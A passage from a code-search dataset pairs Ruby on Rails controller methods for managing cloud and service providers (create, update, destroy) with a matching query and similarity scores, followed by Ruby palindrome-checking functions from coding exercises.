"def update\n @providerable, @name = find_polymorphic\n @provider = ProviderInsurance.find(params[:id])\n @provider.updated_user = current_user.login_name\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider_insurance])\n format.html { redirect_to polymorphic_path([@providerable, @provider]), notice: 'Provider insurance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_provider\n @provider = Provider.find(params[:id]) if params[:id].present?\n @providers = Goodstype.find(params[:goodstype_id]).providers if params[:goodstype_id].present?\n end",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider = Provider.find(params[:id])\n\n\n if @provider.update_attributes(params[:provider])\n redirect_to(@provider, :success => 'Provider was successfully updated.')\n\n else\n\t\trender :action => \"edit\" \n \n end\n\n end",
"def update\n respond_to do |format|\n if @provider_service.update(provider_service_params)\n format.js { flash.now[:notice] = \"Provider Service was successfully updated.\" }\n format.html { redirect_to @provider_service, notice: 'Provider service was successfully updated.' }\n format.json { render :show, status: :ok, location: @provider_service }\n else\n format.js { render :edit }\n format.html { render :edit }\n format.json { render json: @provider_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider_type = ProviderType.find(params[:id])\n\n respond_to do |format|\n if @provider_type.update_attributes(params[:provider_type])\n format.html { redirect_to(@provider_type, :notice => 'Provider type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def put options\n rest_request({ method: :put }.merge(options))\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def putEntity( type, scope, country, trust, our_data)\n params = Hash.new\n params['type'] = type\n params['scope'] = scope\n params['country'] = country\n params['trust'] = trust\n params['our_data'] = our_data\n return doCurl(\"put\",\"/entity\",params)\n end",
"def destroy\n @provider = current_company.providers.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def put(url, resource_name, options = {})\n build_response(resource_name) do\n connection.put do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end",
"def update\n log_output(\"Starting #{provider} update\", :info)\n validate_provision_fields\n connection = connect\n \n id = get_field('id') || (get_field(\"#{provider}_ids\") || []).first\n raise ConfigError, \"Missing fields: id\" if id.nil?\n\n server = connection.servers.get(id)\n log_output(\"#{provider} updating server #{id}: #{server.nil? ? 'not found' : 'found' }\")\n\n # attributes to update in the server\n new_attributes = {}\n updatable_attributes.each do |attribute|\n new_attributes[attribute] = get_field(attribute.to_s)\n end\n\n new_attributes.delete_if { |k, v| v.nil? or v.empty? }\n new_attributes.each do |k,v|\n if server.respond_to?(k)\n server.send(\"#{k}=\",v)\n else\n raise PluginError, \"Provider #{provider} does not support #{k} attribute\"\n end\n end\n server.update unless new_attributes.empty?\n populate_meta([server], 'update')\n\n log_output(\"#{provider} server #{id} updated with: #{new_attributes}\", :info)\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def create\n @info_provider = Info::Provider.new(info_provider_params)\n\n respond_to do |format|\n if @info_provider.save\n format.html { redirect_to @info_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @info_provider }\n else\n format.html { render :new }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cloud_resource = CloudResource.new(cloud_resource_params)\n\n respond_to do |format|\n if @cloud_resource.save\n format.html { redirect_to @cloud_resource, notice: 'Cloud resource was successfully created.' }\n format.json { render :show, status: :created, location: @cloud_resource }\n else\n format.html { render :new }\n format.json { render json: @cloud_resource.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67795",
"0.6509161",
"0.64946884",
"0.6317323",
"0.6298885",
"0.6298885",
"0.62078136",
"0.6187329",
"0.61618406",
"0.60791194",
"0.6009951",
"0.5980971",
"0.59672195",
"0.59303945",
"0.5912396",
"0.58625984",
"0.5859016",
"0.5849602",
"0.5839749",
"0.58388066",
"0.5837862",
"0.58275443",
"0.5826163",
"0.5805661",
"0.5791358",
"0.57839674",
"0.57744193",
"0.5756745",
"0.5747864",
"0.57370156",
"0.572959",
"0.5723158",
"0.5719374",
"0.56973094",
"0.5687376",
"0.5652254",
"0.5646367",
"0.5634137",
"0.5626383",
"0.5624093",
"0.5615924",
"0.5613369",
"0.56109434",
"0.560529",
"0.56038386",
"0.5603651",
"0.5551327",
"0.5541993",
"0.5541993",
"0.5534832",
"0.5534832",
"0.5533335",
"0.55299884",
"0.55245566",
"0.55032307",
"0.54949343",
"0.54947925",
"0.5470935",
"0.54675996",
"0.5460338",
"0.5458576",
"0.54547393",
"0.5454141",
"0.5445532",
"0.5445163",
"0.54275733",
"0.5417646",
"0.53926194",
"0.53926194",
"0.5390674",
"0.5388553",
"0.5377763",
"0.5374627",
"0.5374627",
"0.5374627",
"0.5374627",
"0.5374627",
"0.5374627",
"0.5374627",
"0.5368387",
"0.53474456",
"0.53465205",
"0.5339197",
"0.53362",
"0.5335921",
"0.5335768",
"0.5331144",
"0.5330565",
"0.53211784",
"0.5318576",
"0.5318576",
"0.53175765",
"0.53113365",
"0.5308334",
"0.53048766",
"0.530133",
"0.53010595",
"0.5293009",
"0.5287205",
"0.5274495"
] |
0.7211685
|
0
|
DELETE /cloud_providers/1 DELETE /cloud_providers/1.json
|
def destroy
@cloud_provider = current_user.cloud_providers.find(params[:id])
@cloud_provider.destroy
respond_to do |format|
format.html { redirect_to cloud_providers_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @cloud.delete\n respond_to do |format|\n format.html { redirect_to clouds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = current_company.providers.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cloud = Cloud.find(params[:id])\n @cloud.destroy\n\n respond_to do |format|\n format.html { redirect_to clouds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @v1_provider_operation.destroy\n respond_to do |format|\n format.html { redirect_to v1_provider_operations_url, notice: 'Provider operation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Fornecedor apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n\n head :no_content\n end",
"def destroy\n @service_provider.destroy\n respond_to do |format|\n format.html { redirect_to service_providers_url, notice: \"Service provider was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно удален.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n if active_client_count(provider_id: @provider.symbol).positive?\n message = \"Can't delete provider that has active clients.\"\n status = 400\n Rails.logger.warn message\n render json: {\n errors: [{ status: status.to_s, title: message }],\n }.to_json,\n status: status\n elsif @provider.update(is_active: nil, deleted_at: Time.zone.now)\n unless Rails.env.test?\n @provider.send_delete_email(responsible_id: current_user.uid)\n end\n head :no_content\n else\n # Rails.logger.error @provider.errors.inspect\n render json: serialize_errors(@provider.errors, uid: @provider.uid),\n status: :unprocessable_entity\n end\n end",
"def destroy\n @data_provider = DataProvider.find(params[:id])\n @data_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to data_providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider_service.destroy\n respond_to do |format|\n format.html { redirect_to provider_services_url, notice: 'Provider service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cloud.destroy\n respond_to do |format|\n format.html { redirect_to clouds_url, notice: 'Cloud was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @healthcare_provider.destroy\n respond_to do |format|\n format.html { redirect_to healthcare_providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n logger = Logger.new(STDOUT)\n if active_client_count(provider_id: @provider.symbol) > 0\n message = \"Can't delete provider that has active clients.\"\n status = 400\n logger.warn message\n render json: { errors: [{ status: status.to_s, title: message }] }.to_json, status: status\n elsif @provider.update_attributes(is_active: nil, deleted_at: Time.zone.now)\n @provider.send_delete_email unless Rails.env.test?\n head :no_content\n else\n logger.warn @provider.errors.inspect\n render json: serialize_errors(@provider.errors), status: :unprocessable_entity\n end\n end",
"def destroy\n @providerservice.destroy\n respond_to do |format|\n format.html { redirect_to providerservices_url, notice: 'Providerservice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n svc = Service.find_by_label(params[:label])\n raise CloudError.new(CloudError::SERVICE_NOT_FOUND) unless svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n\n svc.destroy\n\n render :json => {}\n end",
"def destroy\n @cloud_resource.destroy\n respond_to do |format|\n format.html { redirect_to cloud_resources_url, notice: 'Cloud resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @info_provider.destroy\n respond_to do |format|\n format.html { redirect_to info_providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aws_platform.destroy\n respond_to do |format|\n format.html { redirect_to aws_platforms_url, notice: 'Aws platform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider.destroy\n redirect_to providers_url\n end",
"def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend",
"def destroy\n @provider = Order.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to(providers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @payment_provider = PaymentProvider.find(params[:id])\n @payment_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_providers_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n @service_prov_type.destroy\n respond_to do |format|\n format.html { redirect_to service_prov_types_url, notice: 'Service prov type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end",
"def delete_cloud_data\n\t\tcurrent_user\n\t\tif params[:api_type]\n\t\t\tif current_user.email == params[:email]\n\t\t\t\t@response, @headers, @url = amazon_request(\"Delete\", \"/Favorites/\" + params[:api_type] + \"/\" + params[:api] + \"/\" + params[:email] + \"/\" + params[:name], \"\", \"\", :cloud => @s3)\n\t\t\tend\n\t\telsif params[:name]\n\t\t\tif current_user.email == params[:email]\n\t\t\t\t@response, @headers, @url = amazon_request(\"Delete\", \"/Demos/\" + params[:email] + \"/\" + params[:name], \"\", \"\", :cloud => @s3)\n\t\t\tend\n\t\telse\n\t\t\t@response, @headers, @url = amazon_request(\"Delete\", \"/\" + params[:email] + \"/\" + params[:key], \"\", \"\", :cloud => @s3)\n\t\tend\n\t\tredirect_to :action => \"list_cloud_data\"\n\tend",
"def destroy\n compute.delete_flavor(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to flavors_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @instance = @provider.instances.find(params[:id])\n InstanceOperations.terminate_instances(@provider.connect!, @instance)\n @instance.destroy\n redirect_to cloud_provider_path(@provider) \n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @supplier_provider.destroy\n respond_to do |format|\n format.html { redirect_to supplier_providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n delete(\"/2.0/oauth_providers/#@consumer_key\")['success']\n end",
"def destroy\n @platform.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end",
"def destroy\n @care_provider.destroy\n respond_to do |format|\n format.html { redirect_to care_providers_url, notice: 'Care provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = params[:id]\n @datacenter = Datacenter.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @datacenter.destroy\n\n respond_to do |format|\n format.html { redirect_to datacenters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @platform = Platform.find(params[:id])\n @platform.destroy\n\n respond_to do |format|\n format.html { redirect_to platforms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @backend.destroy\n respond_to do |format|\n format.html { redirect_to backends_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oauth_remote_service_provider = OauthRemoteServiceProvider.find(params[:id])\n @oauth_remote_service_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to(oauth_remote_service_providers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @utility_provider.destroy\n respond_to do |format|\n format.html { redirect_to utility_providers_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @email_service_provider = EmailServiceProvider.find(params[:id])\n @email_service_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to email_service_providers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'api'\n end",
"def destroy\n @platform.destroy\n respond_to do |format|\n format.html { redirect_to admin_platforms_url, notice: 'Platform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @providers_payment_type.destroy\n respond_to do |format|\n format.html { redirect_to providers_payment_types_url, notice: 'Payment type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.delete( name )\n end",
"def destroy\n @gce_region.destroy\n respond_to do |format|\n format.html { redirect_to gce_regions_url, notice: 'Gce region was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @payment_provider.destroy\n respond_to do |format|\n format.html { redirect_to settings_payments_path, notice: 'Payment provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n member_id = @provider.member_id\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to member_url(member_id) }\n format.xml { head :ok }\n format.json {render :json=> {\"resp\" => \"ok\"} }\n end\n end",
"def destroy\n if admin?\n @provider_project.destroy\n respond_to do |format|\n format.html { redirect_to provider_projects_url, notice: 'Provider project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @client.delete(@name)\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if @name.nil?\n delete_rest \"vservers/#{@name}\"\n end",
"def destroy\n @provider_payment.destroy\n respond_to do |format|\n format.html { redirect_to provider_path(@provider_payment.provider), notice: 'Provider payment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @providerable, @name = find_polymorphic\n @provider = ProviderInsurance.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to polymorphic_path([@providerable, :provider_insurances]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provincial.destroy\n respond_to do |format|\n format.html { redirect_to admin_provincials_url, notice: 'Provincial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n clients_delete(@entity)\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to clients_path }\n format.json { render json: {success: true} }\n end\n end",
"def destroy\n @provider_type = ProviderType.find(params[:id])\n @provider_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(provider_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @tag_cloud = TagCloud.find(params[:id])\r\n @tag_cloud.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(tag_clouds_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @platform.destroy\n respond_to do |format|\n format.html { redirect_to platforms_url, notice: 'Platform was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n @pdk.destroy\n respond_to do |format|\n format.html { redirect_to pdks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage_type.destroy\n respond_to do |format|\n format.html { redirect_to storage_types_url, notice: 'Storage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ge_city_api.destroy\n respond_to do |format|\n format.html { redirect_to ge_city_apis_url, notice: 'Ge city api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @external_supplied.destroy\n respond_to do |format|\n format.html { redirect_to external_supplieds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n get_context!\n @deploy_heroku_api_key.destroy\n\n respond_to do |format|\n format.html { redirect_to deploy_heroku_api_keys_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_client = ApiClient.find(params[:id])\n @api_client.destroy\n\n respond_to do |format|\n format.html { redirect_to api_clients_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @api_v1_resource.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_resources_url, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n checkaccountobject(\"images\",@image)\n cloud = Oecloud.new(:zone => @image.zone, :image => @image)\n if cloud.deregisterimage\n @image.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end",
"def destroy\n # @credential.destroy\n # respond_to do |format|\n # format.html { redirect_to credentials_url, notice: 'Credential was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n @content_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to(content_providers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @oauth_client = OauthClient.find(params[:id])\n @oauth_client.destroy\n\n respond_to do |format|\n format.html { redirect_to oauth_clients_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end"
] |
[
"0.71699774",
"0.71297544",
"0.70931643",
"0.7076154",
"0.7067633",
"0.7067633",
"0.7067633",
"0.7067169",
"0.70613575",
"0.6996486",
"0.6996486",
"0.6996486",
"0.6972775",
"0.69516116",
"0.6892063",
"0.68899137",
"0.6886542",
"0.6852625",
"0.6802769",
"0.67953634",
"0.6785626",
"0.67818505",
"0.67622715",
"0.67593086",
"0.674034",
"0.6734722",
"0.67256665",
"0.66788757",
"0.66594744",
"0.6656688",
"0.6629408",
"0.6610141",
"0.6587163",
"0.6550756",
"0.6545173",
"0.65323377",
"0.65141755",
"0.6482685",
"0.6473415",
"0.646508",
"0.6459549",
"0.64521325",
"0.644088",
"0.6433049",
"0.6431572",
"0.64221597",
"0.64221597",
"0.64221597",
"0.64221597",
"0.6411627",
"0.6409871",
"0.63961744",
"0.63957727",
"0.63863266",
"0.6378966",
"0.6363213",
"0.63631254",
"0.6356636",
"0.6345882",
"0.6343372",
"0.6341415",
"0.6331999",
"0.63253856",
"0.6313802",
"0.6311648",
"0.63039297",
"0.62976396",
"0.6288341",
"0.6284852",
"0.62817055",
"0.6281521",
"0.6269713",
"0.62695587",
"0.6267993",
"0.62629515",
"0.6260351",
"0.6251424",
"0.624883",
"0.6248064",
"0.6246166",
"0.6240691",
"0.62405765",
"0.6236375",
"0.62082326",
"0.6207861",
"0.6201953",
"0.6186262",
"0.618476",
"0.61846286",
"0.61834526",
"0.61799616",
"0.6169903",
"0.6168753",
"0.6165791",
"0.61649084",
"0.6163341",
"0.61526155",
"0.6150853",
"0.61451876",
"0.61450815"
] |
0.77228564
|
0
|
Palindromic String (Part 2) exercise Small Problems exercises from LaunchSchool
|
def palindrome?(arg)
arg == arg.reverse
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def palindrome_substrings(string)\n\nend",
"def palindrome(str)\nend",
"def palindromic(num) \n if num.to_s.split(\"\") == num.to_s.split(\"\").reverse\n true \n else \n false \n end \nend",
"def palindromes(str)\n evaluated_words = substrings(str)\n evaluated_words.select { |char| char.size > 1 && char == char.reverse }\nend",
"def valid_palindrome(s)\n \nend",
"def palindrome_permutation(str)\n\nend",
"def palindromes(string)\n substrings(string).select { |el| el.length > 1 && el == el.reverse && el.match(/[a-zA-Z1-9]/) }\nend",
"def palindromic?(x)\n x.to_s == x.to_s.reverse\nend",
"def palindrome_r(string)\n return true if string.length == 1 || string.length == 0\n string = string.strip.scan(/\\w+/).join.downcase\n return false if string[0] != string[-1]\n palindrome_r(string[1..-2])\nend",
"def palindrome_permutation(string)\n # new_string = string.gsub(/\\s+/, \"\")\n # p new_string.length\n # permutation = new_string.chars\n # p \n\n\n # if new_string.length % 2 != 0\n # puts \"True. permutation\"\n # end\n\n # pal_split = string.split\n\n # pal0_split = pal_split[0].chars\n # removed_last_letter = pal0_split.pop\n # word_one = pal0_split.join\n # if word_one == pal_split[1].reverse\n # puts \"True permutations \"\n # else\n # puts \"no\"\n # end\n\n new_string = string.gsub(/\\s+/, \"\")\n reversed_word = new_string.reverse\n if new_string == reversed_word\n puts \"true.\"\n else \n puts \"false\"\n end \nend",
"def shortest_palindrome(str)\n # find longest palindromic prefix\n n = str.size\n rev = str.reverse\n\n (0...n).each do |i|\n return rev[0...i] + str if str[0...(n - i)] == rev[i...n]\n end\n\n ''\nend",
"def isPalindromic(val)\n\tln = val.length\n\tmiddle = ln / 2.0\n\tarr = val.split('')\n\t0.upto(middle) do |x|\n\t\tif(arr[x] != arr[ln - x - 1]) then return false end\n\tend\n\treturn true\nend",
"def str_palindromes(str)\n arr_palindromes = arr_all_possible_substrings(str).select { |substr| palindrome?(substr)}\nend",
"def check_palindrome(s)\n\n if s == nil\n return false\n end\n\n result = \"\"\n\n (s.length-1).downto(0).each do |l|\n result << s[l]\n end\n p result\n\n return result == s\n\nend",
"def palindromic?(i)\n i.to_s == i.to_s.reverse\nend",
"def palindromes(str)\n results = []\n 1.upto(str.length) do |idx|\n str.chars.each_cons(idx)\n .each {|subr| results << subr.join if subr.size > 1 && subr == subr.reverse}\n end\n results.sort \nend",
"def shortest_palindrome_3(s)\n idx = 0\n front = 0\n back = 0\n pow = 1\n (0...s.size).each { |i|\n dijit = s[i].ord - 'a'.ord\n front = front * 27 + dijit\n back = back + dijit * pow\n pow *= 27\n idx = [idx, i].max if front == back\n }\n\n (s[idx + 1..-1] || \"\").reverse + s\nend",
"def palindromic?(number)\n number.to_s == number.to_s.reverse\nend",
"def palindromic?(number)\n num = number.to_s.split('')\n (1..(num.size/2)).all? do |index|\n num[index-1] == num[index*(-1)]\n end\nend",
"def is_palindrome(s)\n return true if s.empty?\n return false if s[0] != s[-1]\n return is_palindrome(s[1...-1])\n \n # To do this without creating new strings, make a helper method\n # that accepts additional parameters for left_char and right_char and increments\n # them inward each time, like I did for reverse_in_place with helper_reverse\nend",
"def is_palindrome(string)\n joined_str = string.gsub(/[^0-9a-z]/i, '').downcase\n reverse_str = reverser(joined_str.clone)\n difference_count = 0\n joined_str.length.times do |i|\n difference_count += 1 if joined_str[i] != reverse_str[i]\n end\n\n if difference_count != 0\n return false\n else\n return true\n end\n\nend",
"def Palindrome?(string)\n if string.length < 3\n \treturn false\n end\n new_input = string.scan(/[a-zA-Z]/).join\n input_length = new_input.length\n stringA = new_input.slice!(0, input_length/2.floor).downcase\n stringB = input_length % 2 == 0? new_input.downcase.reverse : new_input.slice(1, new_input.length - 1).downcase.reverse\n return stringA == stringB\nend",
"def longest_palindrom(str)\n return str if str.length <= 1\n\n result = ''\n (0...str.length - 1).each do |i|\n ((i + 1)...str.length).each do |j|\n substr = str[i, j]\n result = substr if is_palindrom?(substr) && (result.length < substr.length)\n end\n end\n result\nend",
"def is_palindrome(aString)\n return false if aString == nil\n #positive side = a = 0\n #negative side = y = -1\n temp_word = aString.gsub(/(\\W|\\d)/, \"\").downcase\n\n i = 0\n a = -1\n word = temp_word.chars\n while i < (word.length / 2)\n # check chars are the same\n # if same, move to next set of chars\n # if different, return false \n # when processed all chars and still haven't found a difference, return true\n if word[i] == word[a]\n a -= 1\n i += 1\n else\n return false\n end\n end\n return true\nend",
"def palindromes(str)\n result = []\n array = substrings(str)\n array.each do |char|\n result << char if char.reverse == char && char.size > 1\n end\n result\nend",
"def IsPalindromic(value)\r\n @value = value\r\n @n = @value\r\n @rev = 0\r\n \r\n while @value > 0\r\n @digit = @value % 10\r\n \r\n @rev = @rev * 10 + @digit\r\n @value = @value / 10\r\n end\r\n \r\n return (@n == @rev)\r\n end",
"def palindromic?(input)\n input == input.reverse\nend",
